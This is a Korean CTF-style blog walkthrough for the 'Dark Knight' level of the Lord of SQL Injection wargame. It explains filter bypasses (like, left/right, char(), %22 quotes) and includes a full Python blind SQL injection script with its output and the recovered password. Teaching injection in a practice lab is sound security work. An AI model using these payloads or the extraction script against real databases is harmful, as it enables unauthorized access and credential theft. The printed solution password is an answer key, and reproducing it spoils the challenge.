그 이름도 무서운 다크 나이트이다.(오 ㅆ 멋진데??) 이번몬스터도 Blind SQL Injection을 이용해서 퇴치할 수 있다. Golem과 비슷한 방식이지만, 이번에는 우회하는 함수가 조금 다르다.
코드
substr도 필터 되었고, 작은따옴표와 ascii함수까지 필터링되었다. 역시 우회할 방법을 찾아야 될 것 같은데, 이번엔 query1에 no라는 파라미터도 받아들이고 있다. 이를 이용해서 2K 2K 할 수 있을 것 같은 직감이 들지 않는가?
해결방법
Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0b70ea1f
import string
from requests import get
if __name__ == "__main__" :
url = ### DARK KNIGHT의 URL ###
abc = string.digits+string.ascii_letters
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
length = 0
password = ''
print("### find length of password ###")
while(True) :
param = "?pw=1&&no=1 or length(pw) like("+str(length)+") and id like(char(97,100,109,105,110))"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello admin") >= 0 ) :
print("find pw length : "+str(length))
break
print(str(length)+ " is wrong length")
length += 1
print("\n\n### find for pw ###")
for i in range(1,length+1) :
for a in abc :
param = "?pw=1&&no=1%20or%20id%20like(char(97,100,109,105,110))%20and%20right(left(pw,"+str(i)+"),1)%20like%20%22"+a+"%22--%20;"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello admin") >= 0) :
print("find "+str(i)+"'s pw : "+a)
password += a
break
print("OK pw is : "+password)
등호는 like로, substr은 left와 right로 SUBSTR을 우회했으며 ASCII 우회를 위하여 DATABASE의 함수인 CHAR 함수가 사용되었다. (추가로 중간에 사용된 %22는 큰따옴표(")의 urlencode값이다. 작은따옴표의 필터로 사용되었다.)
* CHAR(args...) : 정수들을 아스키값으로 해석하여 문자열을 생성한다.
실행결과는 다음과 같다.
### find length of password ###
0 is wrong length
1 is wrong length
2 is wrong length
3 is wrong length
4 is wrong length
5 is wrong length
6 is wrong length
7 is wrong length
find pw length : 8
### find for pw ###
find 1's pw : 0
find 2's pw : b
find 3's pw : 7
find 4's pw : 0
find 5's pw : e
find 6's pw : a
find 7's pw : 1
find 8's pw : f
OK pw is : 0b70ea1f
축하한다.
여러분들은 지금까지 여러가지 우회방법을 배우고 있고, 또 배워 나갈 것이다. 반복적인 내용처럼 느껴질지 몰라도 새로운 우회방법을 배우는 것 자체를 즐겨주기를 바라며, 필자는 다음 몬스터 앞에서 여러분들을 기다리겠다.
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 14 - Giant (0) | 2021.04.13 |
---|---|
[LOSI] Lord of SQL Injection Level 13 - BugBear (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 11 - Golem (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 10 - Skeleton (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 9 - Vampire (0) | 2021.04.13 |